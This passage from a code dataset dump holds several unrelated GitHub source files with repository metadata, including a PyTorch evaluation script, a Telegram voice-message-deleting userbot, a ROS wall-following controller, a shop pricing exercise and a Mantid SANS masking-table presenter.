src.booster.progressive_encoder import ClassEncoder, WordEncoder\nfrom src.tc.model.net import CNNTC\nfrom src.ner.model.data_loader import DataLoader\n\n\nnp.random.seed(0)\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--data_dir', default='data/health_personal_care', help=\"Directory containing the dataset\")\nparser.add_argument('--model_dir', default='experiments/health_personal_care', help=\"Directory containing params.json\")\nparser.add_argument('--restore_file', default='best', help=\"name of the file in --model_dir \\\n containing weights to load\")\n\n\ndef evaluate(model,\n data_iterator,\n metrics,\n num_steps,\n data_encoder,\n label_encoder,\n mode='train'):\n\n # set model to evaluation mode\n model.eval()\n\n # compute metrics over the dataset\n preds_all = []\n true_all = []\n loss_all = []\n\n for _ in range(num_steps):\n\n # 1. fetch the next evaluation batch\n data_batch, labels_batch = next(data_iterator)\n\n # 2. compute model output\n loss, logits = model(input=data_batch,\n labels=labels_batch,\n label_pad_idx=label_encoder[ClassEncoder.FEATURE_NAME].pad_idx)\n\n # 3. get the predictions from model\n preds = model.predict(logits=logits,\n mask=(data_batch[WordEncoder.FEATURE_NAME] != data_encoder[\n WordEncoder.FEATURE_NAME].pad_idx).float())\n\n labels_batch = labels_batch[ClassEncoder.FEATURE_NAME].data.cpu().numpy().squeeze()\n\n # 4. decode the predictions and the ground_truths\n labels = label_encoder[ClassEncoder.FEATURE_NAME].decode(labels_batch)\n preds = label_encoder[ClassEncoder.FEATURE_NAME].decode(preds)\n\n # 5. gather stats\n preds_all.extend(preds)\n true_all.extend(labels)\n loss_all.append(loss.item())\n\n # compute mean of all metrics over all batches\n scores = {metric: metrics[metric](true_all, preds_all) for metric in metrics}\n scores['loss'] = np.mean(loss_all)\n metrics_string = \" ; \".join(\"{}: {:05.3f}\".format(k, v) for k, v in scores.items())\n logging.info(\"- {} Eval metrics : {}\".format(mode, metrics_string))\n return scores, preds_all\n\n\nif __name__ == '__main__':\n\n # 1. set the device to train on\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n data_to_use = 'test'\n\n # 2. Load the parameters from json file\n args = parser.parse_args()\n network_params = os.path.join(args.model_dir, 'params.json')\n assert os.path.isfile(network_params), \"No json configuration file found at {}\".format(network_params)\n params = utils.Params(network_params)\n # use GPU if available\n params.cuda = torch.cuda.is_available()\n\n # 3. Set the random seed for reproducible experiments\n torch.manual_seed(230)\n if params.cuda: torch.cuda.manual_seed(230)\n np.random.seed(0)\n\n # 4. Set the logger\n utils.set_logger(os.path.join(args.model_dir, 'train.log'))\n\n # 5. Create the input data pipeline\n logging.info(\"Loading the datasets...\")\n # 5.1 specify features\n\n data_encoder = utils.load_obj(os.path.join(args.model_dir, 'data_encoder.pkl'))\n label_encoder = utils.load_obj(os.path.join(args.model_dir, 'label_encoder.pkl'))\n\n # 5.2 load data\n data_loader = DataLoader(params,\n args.data_dir,\n data_encoder,\n label_encoder)\n data = data_loader.load_data([data_to_use])\n test_data = data[data_to_use]\n # 5.3 specify the train and val dataset sizes\n params.test_size = test_data['size']\n test_data_iterator = data_loader.batch_iterator(test_data, params, shuffle=False, sort_by_legth=False)\n logging.info(\"- done.\")\n\n # 6. Modeling\n # 6.1 Define the model\n from src.tc.model.net import CNNTC\n\n model = CNNTC(num_tags=label_encoder[ClassEncoder.FEATURE_NAME].num_tags,\n pretrained_word_vecs=torch.from_numpy(data_encoder[WordEncoder.FEATURE_NAME].vectors),\n dropout=params.dropout,\n freeze_embeddings=params.freeze_wordembeddings).to(device).float()\n \"\"\"optimizer = optim.Adam(params=filter(lambda p: p.requires_grad, model.parameters()))\"\"\"\n\n # 6.2 define metrics\n from src.ner.evaluation import accuracy_score, binary_f1_score\n\n metrics = {'accuracy': accuracy_score,\n 'binary_f1': binary_f1_score}\n\n utils.load_checkpoint(os.path.join(args.model_dir, args.restore_file + '.pth'), model)\n\n # Evaluate\n import math\n num_steps = math.ceil(params.test_size/params.batch_size)\n test_metrics, preds = evaluate(model,\n test_data_iterator,\n metrics,\n num_steps,\n data_encoder,\n label_encoder)\n save_path = os.path.join(args.model_dir, \"metrics_{}_{}.json\".format(data_to_use, args.restore_file))\n utils.save_dict_to_json(test_metrics, save_path)\n\n preds_path = os.path.join(args.model_dir, \"preds_\"+data_to_use+\".pkl\")\n utils.save_obj(preds, preds_path)\n\n","repo_name":"sarthakTUM/progressive-neural-networks-for-nlp","sub_path":"src/tc/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":5383,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"22121525186","text":"# -*- coding: utf-8 -*-\r\nimport sys\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtGui import *\r\nfrom PyQt5.QtCore import pyqtSlot\r\nfrom PyQt5 import uic\r\n\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\n\r\n\r\nclass Ui_MainWindow(object):\r\n\r\n\r\n def setupUi(self, MainWindow):\r\n MainWindow.setObjectName(\"MainWindow\")\r\n MainWindow.resize(900, 600)\r\n self.centralwidget = QtWidgets.QWidget(MainWindow)\r\n self.centralwidget.setObjectName(\"centralwidget\")\r\n self.pushButton = QtWidgets.QPushButton(self.centralwidget)\r\n self.pushButton.setGeometry(QtCore.QRect(370, 380, 141, 91))\r\n self.pushButton.setObjectName(\"pushButton\")\r\n self.InputText = QtWidgets.QTextEdit(self.centralwidget)\r\n self.InputText.setGeometry(QtCore.QRect(140, 190, 241, 87))\r\n self.InputText.setObjectName(\"InputText\")\r\n self.OutputTest = QtWidgets.QTextBrowser(self.centralwidget)\r\n self.OutputTest.setGeometry(QtCore.QRect(600, 140, 256, 192))\r\n self.OutputTest.setObjectName(\"OutputTest\")\r\n MainWindow.setCentralWidget(self.centralwidget)\r\n self.menubar = QtWidgets.QMenuBar(MainWindow)\r\n self.menubar.setGeometry(QtCore.QRect(0, 0, 938, 26))\r\n self.menubar.setObjectName(\"menubar\")\r\n MainWindow.setMenuBar(self.menubar)\r\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\r\n self.statusbar.setObjectName(\"statusbar\")\r\n MainWindow.setStatusBar(self.statusbar)\r\n\r\n self.retranslateUi(MainWindow)\r\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\r\n\r\n #\r\n\r\n mybutton = QPushButton('Send', w)\r\n mybutton.move(20, 80)\r\n\r\n def retranslateUi(self, MainWindow):\r\n _translate = QtCore.QCoreApplication.translate\r\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"Smart Factory (PC)\"))\r\n self.pushButton.setText(_translate(\"MainWindow\", \"Send\"))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n import sys\r\n app = QtWidgets.QApplication(sys.argv)\r\n MainWindow = QtWidgets.QMainWindow()\r\n ui = Ui_MainWindow()\r\n ui.setupUi(MainWindow)\r\n MainWindow.show()\r\n sys.exit(app.exec_())\r\n","repo_name":"SeungJu-Jang/Project_Final","sub_path":"JJ/dbtest1.py","file_name":"dbtest1.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"32691799642","text":"valor = int(input(\"Digite:\"))\nrestodevalor = 0\nsobradevalor = 1\nresto = 0\nverdadeiro = False\nx = 1\n\nwhile sobradevalor != 0 or verdadeiro:\n\trestodevalor = valor % 10\n\tsobradevalor = valor // 10\n\tresto = sobradevalor % 10\n\tvalor = sobradevalor\n\tif sobradevalor > 0:\n\t\tif restodevalor == resto:\n\t\t\tverdadeiro = True\n\tif verdadeiro:\n\t\tprint(\"os valores são adjacentes!!\") \n\t\tbreak\nif sobradevalor == 0:\n\tprint(\"valores não são adjacentes.\")\t\t\t\n\t\n\t\t\n\n\t\t\n\t\n\n\n","repo_name":"fhbtst/python","sub_path":"adjacente.py","file_name":"adjacente.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"14383968840","text":"from telethon import TelegramClient, events, sync\nimport logging\n\n# These example values won't work. You must get your own api_id and\n# api_hash from https://my.telegram.org, under API Development.\napi_id = 1111111\napi_hash = '222222222222222222222222222222222'\n\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\nlogger = logging.getLogger(__name__)\n\nclient = TelegramClient('session_name', api_id, api_hash)\nclient.start()\n@client.on(events.NewMessage(incoming=True))\nasync def handler(event):\n if event.voice != None:\n await client.delete_messages(event.chat_id, [event.id])\n await event.respond('__Сервис голосовых сообщений в данный момент недоступен.__')\n elif event.text.lower() == 'привет':\n await client.send_file(event.chat_id, 'https://neprivet.ru/img/bad-good.png')\nclient.run_until_disconnected()\n","repo_name":"dtkbrbq/tg_antivoice","sub_path":"tg_antivoice.py","file_name":"tg_antivoice.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"3056860502","text":"arr=list(map(int,input().split()))\n# i=0\n# j=len(arr)-1\n# while i y_r:\n\t\t\t\tangular_zvel = -0.1 \n\t\t\tadd_angular_vel = 0\n\t\t\tprint('too close to front wall')\n\n\t\t#clip PID output\n\t\tangular_zvel = np.clip((PID_output+add_angular_vel),-1,1)\n\t\tlinear_vel = np.clip((s_d-0.3),-0.1,0.5)\n\n\t\t#check IOs\n\t\tprint('in cm','right=',format(int(y_r*100)),' left=',format(int(100*y_l)),' front distance=',format(int(100*s_d)))\n\t\tprint('linear_vel=',format(linear_vel),' angular_vel=',format((int(angular_zvel*1000))/1000))\n\t\trospy.loginfo('\\n') \n\n\t\t#publish cmd_vel\n\t\tvel_msg = Twist(Vector3(linear_vel,0,0), Vector3(0,0,angular_zvel))\n\t\tvelocity_publisher.publish(vel_msg)\n\t\trate.sleep()\n\n\tvelocity_publisher.publish(Twist(Vector3(0,0,0), Vector3(0,0,0)))\n\tprint('Turtlebot stopped')\n\nif __name__ == '__main__':\n\ttry:\n\t\t#start turtllebot\n\t\ttmnt_controller()\n\n\texcept rospy.ROSInterruptException: pass\n","repo_name":"vipulkumbhar/AuE893_Autonomy_Science_and_Systems","sub_path":"catkin_ws/src/assignment4/trash/raw/wallfollowing (copy)_latest.py","file_name":"wallfollowing (copy)_latest.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"39"} +{"seq_id":"18034734679","text":"\"\"\"\nconfigurationTest.py\n\"\"\"\n\nfrom os.path import expanduser\nfrom configurationProtocol import *\n\nhomeDir = expanduser(\"~\")\n#print homeDir\n\npythonDir, configDir, configFile, dataDir, outputDir = definePaths()\n\ntree, root = readConfigFile(configFile)\n\n\naddress = getMAC(\"eth0\")\n\npanelIndex, panelNumber = selfID(address, tree, root)\n\n# Find Scenario Index\nnumber = 1\nscenarioIndex, scenarioNumber = findScenario(number, tree, root)\n","repo_name":"dash-orlando/ControlSystem","sub_path":"Software/Python2.7/configurationTest.py","file_name":"configurationTest.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"27749965585","text":"class Shirts:\n def __init__(self):\n self.type = \"\"\n self.color = \"\"\n self.amount = 0\n self.price = 0\n\n def orderDetails(self):\n print(\"\"\"\nWhat type of shirt would you like to order?\n1. Polo - 9.99$ 2. T-shirt - 9.99$\"\"\")\n\n while True:\n try:\n selection = int(input(\"Type 1 for Polo. Type 2 for T-shirt: \"))\n if selection == 1:\n self.type = str(\"Polo\")\n print(\"Thank you. The chosen shirt type is \" + self.type)\n break\n elif selection == 2:\n self.type = str(\"T-shirt\")\n print(\"Thank you. The chosen shirt type is \" + self.type)\n break\n else:\n print(\"Incorrect value was entered. Please try again.\")\n continue\n\n except ValueError:\n print(\"Incorrect value was entered. Please try again.\")\n continue\n\n print(\"\"\"\nWhat color of shirt would you like to order?\n1. White 2. Black 3. Red 4. Blue 5. Green 6. Yellow\"\"\")\n while True:\n try:\n selection = int(input(\"Please pick the number adjacent to the preferred color: \"))\n if selection == 1:\n self.color = \"White\"\n print(\"Thank you. The chosen color is \" + self.color)\n break\n\n elif selection == 2:\n self.color = \"Black\"\n print(\"Thank you. The chosen color is \" + self.color)\n break\n\n elif selection == 3:\n self.color = \"Red\"\n print(\"Thank you. The chosen color is \" + self.color)\n break\n\n elif selection == 4:\n self.color = \"Blue\"\n print(\"Thank you. The chosen color is \" + self.color)\n break\n\n elif selection == 5:\n self.color = \"Green\"\n print(\"Thank you. The chosen color is \" + self.color)\n break\n\n elif selection == 6:\n self.color = \"Yellow\"\n print(\"Thank you. The chosen color is \" + self.color)\n break\n\n else:\n print(\"\"\"Incorrect value was entered. Please try again.\n1. White 2. Black 3. Red 4. Blue 5. Green 6. Yellow\"\"\")\n continue\n\n except ValueError:\n print(\"\"\"Incorrect value was entered. Please try again.\n1. White 2. Black 3. Red 4. Blue 5. Green 6. Yellow\"\"\")\n continue\n\n while True:\n try:\n self.amount = int(input(\"\"\"\nHow many shirts would you like to order: \"\"\"))\n break\n \n except ValueError:\n print(\"Incorrect value was entered. Please try again.\")\n continue\n\n self.price = float(format((self.amount * 9.99), \".2f\"))\n\nclass Pants:\n def __init__(self):\n self.type = \"\"\n self.color = \"\"\n self.amount = 0\n self.price = 0\n\n def orderDetails(self):\n print(\"\"\"\nWhat type of pants would you like to order?\n1. Jeans - 14.99$ 2. Chino - 14.99$\"\"\")\n while True:\n try:\n selection = int(input(\"Type 1 for Jeans. Type 2 for Chino: \"))\n\n if selection == 1:\n self.type = \"Jeans\"\n print(\"Thank you. The chosen pants type is \" + self.type)\n break\n\n elif selection == 2:\n self.type = \"Chino\"\n print(\"Thank you. The chosen pants type is \" + self.type)\n break\n\n else:\n print(\"Incorrect value was entered. Please try again.\")\n continue\n\n except ValueError:\n print(\"Incorrect value was entered. Please try again.\")\n continue\n\n print(\"\"\"\nWhat color of pants would you like to order?\n1. Blue 2. Black 3. Grey\"\"\")\n\n while True:\n try:\n selection = int(input(\"Please pick the number adjacent to the preferred color: \"))\n\n if selection == 1:\n self.color = \"Blue\"\n print(\"Thank you. The chosen color is \" + self.color)\n break\n\n elif selection == 2:\n self.color = \"Black\"\n print(\"Thank you. The chosen color is \" + self.color)\n break\n\n elif selection == 3:\n self.color = \"Grey\"\n print(\"Thank you. The chosen color is \" + self.color)\n break\n\n else:\n print(\"\"\"Incorrect value was entered. Please try again.\n1. Blue 2. Black 3. Grey\"\"\")\n continue\n\n except ValueError:\n print(\"\"\"Incorrect value was entered. Please try again.\n1. Blue 2. Black 3. Grey\"\"\")\n continue\n\n while True:\n try:\n self.amount = int(input(\"\"\"\nHow many pants would you like to order: \"\"\"))\n break\n \n except ValueError:\n print(\"Incorrect value was entered. Please try again.\")\n continue\n\n self.price = float(format((self.amount * 14.99), \".2f\"))\n\n\nclass Calculate:\n def __init__(self, boughtshirts, boughtpants):\n self.distypeshirt = \"\"\n self.shirtdis = 0\n self.distypepants = \"\"\n self.pantdis = 0\n self.boughtshirts = boughtshirts\n self.boughtpants = boughtpants\n\n def calcDiscount(self):\n self.shirtdis = 0\n self.pantdis = 0\n counter = [\"Y\", \"y\", \"N\", \"n\"]\n\n if self.boughtshirts.amount < 3 or self.boughtpants.amount < 3:\n while True:\n distype = input(\"\"\"\nAre you a Senior Citizen? Y/N \"\"\")\n\n if distype in counter:\n break\n\n else:\n print(\"Incorrect value was entered. Please try again.\")\n continue\n\n if distype == \"y\" or distype == \"Y\":\n self.shirtdis = 0.1\n self.pantdis = 0.1\n self.distypepants = \"Senior Citizen\"\n self.distypeshirt = \"Senior Citizen\"\n\n while distype == \"n\" or distype == \"N\":\n distype = input(\"Are you a Student? Y/N \")\n \n if distype == \"y\" or distype == \"Y\":\n self.shirtdis = 0.1\n self.pantdis = 0.1\n self.distypepants = \"Student\"\n self.distypeshirt = \"Student\"\n \n if distype in counter:\n break\n else:\n print(\"Incorrect value was entered. Please try again.\")\n continue\n\n if self.boughtshirts.amount >= 3:\n self.shirtdis = 0.15\n self.distypeshirt = \"Quantity\"\n\n if self.boughtpants.amount >= 3:\n self.pantdis = 0.15\n self.distypepants = \"Quantity\"\n\n def calcTotal(self):\n summary = 0\n sum1 = 0\n sum2 = 0\n print(\"\"\"\nSummary:\n_____________________________________________________________\n\nYou have ordered \"\"\" + str(self.boughtshirts.amount) + \" \" + self.boughtshirts.color + \" \"\n + self.boughtshirts.type + \" shirts and \" + str(self.boughtpants.amount) + \" \"\n + self.boughtpants.color + \" \" + self.boughtpants.type + \" pants.\")\n total = float(self.boughtshirts.price) + float(self.boughtpants.price)\n total = format(total, \".2f\")\n print(\"Amount to pay before tax is: \" + str(total) + \"$\")\n\n if self.distypeshirt == self.distypepants and self.shirtdis > 0:\n summary = self.shirtdis * float(self.boughtshirts.price)\n summary += self.pantdis * float(self.boughtpants.price)\n valsummary = format(summary, \".2f\")\n print(str(self.distypeshirt) + \" discount is: -\" + str(valsummary) + \"$\")\n\n else:\n if self.shirtdis > 0:\n sum1 = self.shirtdis * float(self.boughtshirts.price)\n valsum1 = format(sum1, \".2f\")\n print(self.distypeshirt + \" discount is: -\" + str(valsum1) + \"$\")\n\n if self.pantdis > 0:\n sum2 = self.pantdis * float(self.boughtpants.price)\n valsum2 = format(sum2, \".2f\")\n print(self.distypepants + \" discount is: -\" + str(valsum2) + \"$\")\n\n price = float(self.boughtshirts.price + self.boughtpants.price - summary - sum1 - sum2)\n hst = float(price) * 0.13\n total = price + hst\n hst = format(hst, \".2f\")\n total = format(total, \".2f\")\n print(\"HST is: \" + str(hst) + \"$\")\n print(\"Amount to pay including HST is: \" + str(total) + \"$\")\n\n\nclass Shop:\n\n def Shopping(self):\n print(\"\"\"+-+-+-+-+-+-+-+ +-+-+ +-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|W|e|l|c|o|m|e| |t|o| |A|b|b|y|s| |M|e|r|c|h|a|n|d|i|z|i|n|g|!|\n+-+-+-+-+-+-+-+ +-+-+ +-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+\"\"\")\n\n shirts = Shirts()\n pants = Pants()\n\n shirts.orderDetails()\n pants.orderDetails()\n\n calculate = Calculate(shirts, pants)\n calculate.calcDiscount()\n calculate.calcTotal()\n\nshop = Shop()\nshop.Shopping()\n","repo_name":"MichaelKorem/IT-PROG-FUND-LABS","sub_path":"Assignment3.py","file_name":"Assignment3.py","file_ext":"py","file_size_in_byte":9552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"7719951206","text":"import copy\nfrom collections import namedtuple\n\nfrom ui.sans_isis.masking_table import MaskingTable\n\nfrom mantid.api import AnalysisDataService\nfrom mantid.kernel import Logger\nfrom sans.common.enums import DetectorType\nfrom sans.gui_logic.models.async_workers.masking_table_async import MaskingTableAsync\nfrom mantidqt.widgets.instrumentview.presenter import InstrumentViewPresenter\n\nmasking_information = namedtuple(\"masking_information\", \"first, second, third\")\n\n\nclass MaskingTablePresenter(object):\n DISPLAY_WORKSPACE_NAME = \"__sans_mask_display_dummy_workspace\"\n\n class ConcreteMaskingTableListener(MaskingTable.MaskingTableListener):\n def __init__(self, presenter):\n super(MaskingTablePresenter.ConcreteMaskingTableListener, self).__init__()\n self._presenter = presenter\n\n def on_row_changed(self):\n pass\n\n def on_update_rows(self):\n self._presenter.on_update_rows()\n\n def on_display(self):\n self._presenter.on_display()\n\n def __init__(self, parent_presenter):\n self._view = None\n self._parent_presenter = parent_presenter\n self._worker = MaskingTableAsync(parent_presenter=self)\n self._logger = Logger(\"SANS\")\n\n def on_display(self):\n # Get the state information for the selected row.\n # Disable the button\n self._view.set_display_mask_button_to_processing()\n try:\n row_index = self._view.get_current_row()\n state = self.get_state(row_index)\n except Exception as e:\n self.on_processing_error_masking_display(e)\n raise e # propagate errors for run_tab_presenter to deal with\n\n if not state:\n self._logger.error(\n \"You can only show a masked workspace if a user file has been loaded and a\"\n \"valid sample scatter entry has been provided in the selected row.\"\n )\n self._view.set_display_mask_button_to_normal()\n return\n\n # Run the task\n self.display_masking_information(state)\n state_copy = copy.copy(state)\n self._worker.load_and_mask_workspace(state_copy, self.DISPLAY_WORKSPACE_NAME)\n\n def on_processing_successful_masking_display(self, result):\n # Display masked workspace\n self._display(result)\n\n def on_processing_finished_masking_display(self):\n # Enable button\n self._view.set_display_mask_button_to_normal()\n\n def on_processing_error_masking_display(self, error):\n self._logger.warning(\"There has been an error. See more: {}\".format(error))\n # Enable button\n self._view.set_display_mask_button_to_normal()\n\n def on_processing_error(self, error):\n pass\n\n def on_update_rows(self):\n \"\"\"\n Update the row selection in the combobox\n \"\"\"\n current_row_index = self._view.get_current_row()\n valid_row_indices = self._parent_presenter.get_row_indices()\n\n new_row_index = -1\n if current_row_index in valid_row_indices:\n new_row_index = current_row_index\n elif len(valid_row_indices) > 0:\n new_row_index = valid_row_indices[0]\n\n self._view.update_rows(valid_row_indices)\n\n if new_row_index != -1:\n self.set_row(new_row_index)\n\n def set_row(self, index):\n self._view.set_row(index)\n\n def set_view(self, view):\n if view:\n self._view = view\n\n # Set up row selection listener\n listener = MaskingTablePresenter.ConcreteMaskingTableListener(self)\n self._view.add_listener(listener)\n\n # Set the default gui\n self._set_default_gui()\n\n def _set_default_gui(self):\n self._view.update_rows([])\n self.display_masking_information(state=None)\n\n def get_state(self, index, file_lookup=True, suppress_warnings=False):\n return self._parent_presenter.get_state_for_row(index, file_lookup=file_lookup, suppress_warnings=suppress_warnings)\n\n @staticmethod\n def _append_single_spectrum_mask(spectrum_mask, container, detector_name, prefix):\n if spectrum_mask:\n for item in spectrum_mask:\n detail = prefix + str(item)\n container.append(masking_information(first=\"Spectrum\", second=detector_name, third=detail))\n\n @staticmethod\n def _append_strip_spectrum_mask(strip_mask_start, strip_mask_stop, container, detector_name, prefix):\n if strip_mask_start and strip_mask_stop:\n for start, stop in zip(strip_mask_start, strip_mask_stop):\n detail = prefix + str(start) + \">\" + prefix + str(stop)\n container.append(masking_information(first=\"Strip\", second=detector_name, third=detail))\n\n @staticmethod\n def _append_block_spectrum_mask(\n horizontal_mask_start, horizontal_mask_stop, vertical_mask_start, vertical_mask_stop, container, detector_name\n ):\n if horizontal_mask_start and horizontal_mask_stop and vertical_mask_start and vertical_mask_stop:\n for h_start, h_stop, v_start, v_stop in zip(\n horizontal_mask_start, horizontal_mask_stop, vertical_mask_start, vertical_mask_stop\n ):\n detail = \"H{}>H{}+V{}>V{}\".format(h_start, h_stop, v_start, v_stop)\n container.append(masking_information(first=\"Strip\", second=detector_name, third=detail))\n\n @staticmethod\n def _append_spectrum_block_cross_mask(horizontal_mask, vertical_mask, container, detector_name):\n if horizontal_mask and vertical_mask:\n for h, v in zip(horizontal_mask, vertical_mask):\n detail = \"H{}+V{}\".format(h, v)\n container.append(masking_information(first=\"Strip\", second=detector_name, third=detail))\n\n @staticmethod\n def _get_spectrum_masks(mask_detector_info):\n detector_name = mask_detector_info.detector_name\n spectrum_masks = []\n\n # -------------------------------\n # Get the vertical spectrum masks\n # -------------------------------\n single_vertical_strip_mask = mask_detector_info.single_vertical_strip_mask\n MaskingTablePresenter._append_single_spectrum_mask(single_vertical_strip_mask, spectrum_masks, detector_name, \"V\")\n\n range_vertical_strip_start = mask_detector_info.range_vertical_strip_start\n range_vertical_strip_stop = mask_detector_info.range_vertical_strip_stop\n MaskingTablePresenter._append_strip_spectrum_mask(\n range_vertical_strip_start, range_vertical_strip_stop, spectrum_masks, detector_name, \"V\"\n )\n\n # ---------------------------------\n # Get the horizontal spectrum masks\n # ---------------------------------\n single_horizontal_strip_mask = mask_detector_info.single_horizontal_strip_mask\n MaskingTablePresenter._append_single_spectrum_mask(single_horizontal_strip_mask, spectrum_masks, detector_name, \"H\")\n\n range_horizontal_strip_start = mask_detector_info.range_horizontal_strip_start\n range_horizontal_strip_stop = mask_detector_info.range_horizontal_strip_stop\n MaskingTablePresenter._append_strip_spectrum_mask(\n range_horizontal_strip_start, range_horizontal_strip_stop, spectrum_masks, detector_name, \"H\"\n )\n\n # ---------------------------------\n # Get the block masks\n # ---------------------------------\n block_horizontal_start = mask_detector_info.block_horizontal_start\n block_horizontal_stop = mask_detector_info.block_horizontal_stop\n block_vertical_start = mask_detector_info.block_vertical_start\n block_vertical_stop = mask_detector_info.block_vertical_stop\n MaskingTablePresenter._append_block_spectrum_mask(\n block_horizontal_start, block_horizontal_stop, block_vertical_start, block_vertical_stop, spectrum_masks, detector_name\n )\n\n block_cross_horizontal = mask_detector_info.block_cross_horizontal\n block_cross_vertical = mask_detector_info.block_cross_vertical\n MaskingTablePresenter._append_spectrum_block_cross_mask(block_cross_horizontal, block_cross_vertical, spectrum_masks, detector_name)\n\n # ---------------------------------\n # Get spectrum masks\n # ---------------------------------\n single_spectra = mask_detector_info.single_spectra\n MaskingTablePresenter._append_single_spectrum_mask(single_spectra, spectrum_masks, detector_name, \"S\")\n\n spectrum_range_start = mask_detector_info.spectrum_range_start\n spectrum_range_stop = mask_detector_info.spectrum_range_stop\n MaskingTablePresenter._append_strip_spectrum_mask(spectrum_range_start, spectrum_range_stop, spectrum_masks, detector_name, \"S\")\n\n return spectrum_masks\n\n @staticmethod\n def _get_time_masks_general(mask_info):\n container = []\n bin_mask_general_start = mask_info.bin_mask_general_start\n bin_mask_general_stop = mask_info.bin_mask_general_stop\n if bin_mask_general_start and bin_mask_general_stop:\n for start, stop in zip(bin_mask_general_start, bin_mask_general_stop):\n detail = \"{}-{}\".format(start, stop)\n container.append(masking_information(first=\"Time\", second=\"\", third=detail))\n return container\n\n @staticmethod\n def _get_time_masks(mask_info):\n container = []\n bin_mask_start = mask_info.bin_mask_start\n bin_mask_stop = mask_info.bin_mask_stop\n detector_name = mask_info.detector_name\n if bin_mask_start and bin_mask_stop:\n for start, stop in zip(bin_mask_start, bin_mask_stop):\n detail = \"{}-{}\".format(start, stop)\n container.append(masking_information(first=\"Time\", second=detector_name, third=detail))\n return container\n\n @staticmethod\n def _get_arm_mask(mask_info):\n container = []\n beam_stop_arm_width = mask_info.beam_stop_arm_width\n beam_stop_arm_angle = mask_info.beam_stop_arm_angle\n beam_stop_arm_pos1 = mask_info.beam_stop_arm_pos1 if mask_info.beam_stop_arm_pos1 else 0.0\n beam_stop_arm_pos2 = mask_info.beam_stop_arm_pos2 if mask_info.beam_stop_arm_pos2 else 0.0\n if beam_stop_arm_width and beam_stop_arm_angle:\n detail = \"LINE {}, {}, {}, {}\".format(beam_stop_arm_width, beam_stop_arm_angle, beam_stop_arm_pos1, beam_stop_arm_pos2)\n container.append(masking_information(first=\"Arm\", second=\"\", third=detail))\n return container\n\n @staticmethod\n def _get_phi_mask(mask_info):\n container = []\n phi_min = mask_info.phi_min\n phi_max = mask_info.phi_max\n use_mask_phi_mirror = mask_info.use_mask_phi_mirror\n if phi_min and phi_max:\n if use_mask_phi_mirror:\n detail = \"L/PHI {} {}\".format(phi_min, phi_max)\n else:\n detail = \"L/PHI/NOMIRROR{} {}\".format(phi_min, phi_max)\n container.append(masking_information(first=\"Phi\", second=\"\", third=detail))\n return container\n\n @staticmethod\n def _get_mask_files(mask_info):\n container = []\n mask_files = mask_info.mask_files\n if mask_files:\n for mask_file in mask_files:\n container.append(masking_information(first=\"Mask file\", second=\"\", third=mask_file))\n return container\n\n @staticmethod\n def _get_radius(mask_info):\n container = []\n radius_min = mask_info.radius_min\n radius_max = mask_info.radius_max\n\n if radius_min:\n detail = \"infinite-cylinder, r = {}\".format(radius_min)\n container.append(masking_information(first=\"Beam stop\", second=\"\", third=detail))\n\n if radius_max:\n detail = \"infinite-cylinder, r = {}\".format(radius_max)\n container.append(masking_information(first=\"Corners\", second=\"\", third=detail))\n return container\n\n def _generate_masking_information(self, state):\n if state is None:\n return []\n mask_info = state.mask\n masks = []\n\n mask_info_lab = mask_info.detectors[DetectorType.LAB.value]\n mask_info_hab = mask_info.detectors[DetectorType.HAB.value] if DetectorType.HAB.value in mask_info.detectors else None\n\n # Add the radius mask\n radius_mask = self._get_radius(mask_info)\n masks.extend(radius_mask)\n\n # Add the spectrum masks for LAB\n spectrum_masks_lab = self._get_spectrum_masks(mask_info_lab)\n masks.extend(spectrum_masks_lab)\n\n # Add the spectrum masks for HAB\n if mask_info_hab:\n spectrum_masks_hab = self._get_spectrum_masks(mask_info_hab)\n masks.extend(spectrum_masks_hab)\n\n # Add the general time mask\n time_masks_general = self._get_time_masks_general(mask_info)\n masks.extend(time_masks_general)\n\n # Add the time masks for LAB\n time_masks_lab = self._get_time_masks(mask_info_lab)\n masks.extend(time_masks_lab)\n\n # Add the time masks for HAB\n if mask_info_hab:\n time_masks_hab = self._get_time_masks(mask_info_hab)\n masks.extend(time_masks_hab)\n\n # Add arm mask\n arm_mask = self._get_arm_mask(mask_info)\n masks.extend(arm_mask)\n\n # Add phi mask\n phi_mask = self._get_phi_mask(mask_info)\n masks.extend(phi_mask)\n\n # Add mask files\n mask_files = self._get_mask_files(mask_info)\n masks.extend(mask_files)\n return masks\n\n def get_masking_information(self, state):\n table_entries = []\n if state is not None:\n table_entries = self._generate_masking_information(state)\n return table_entries\n\n def display_masking_information(self, state):\n table_entries = self.get_masking_information(state)\n self._view.set_table(table_entries)\n\n @staticmethod\n def _display(masked_workspace):\n if masked_workspace and AnalysisDataService.doesExist(masked_workspace.name()):\n instrument_win = InstrumentViewPresenter(masked_workspace)\n 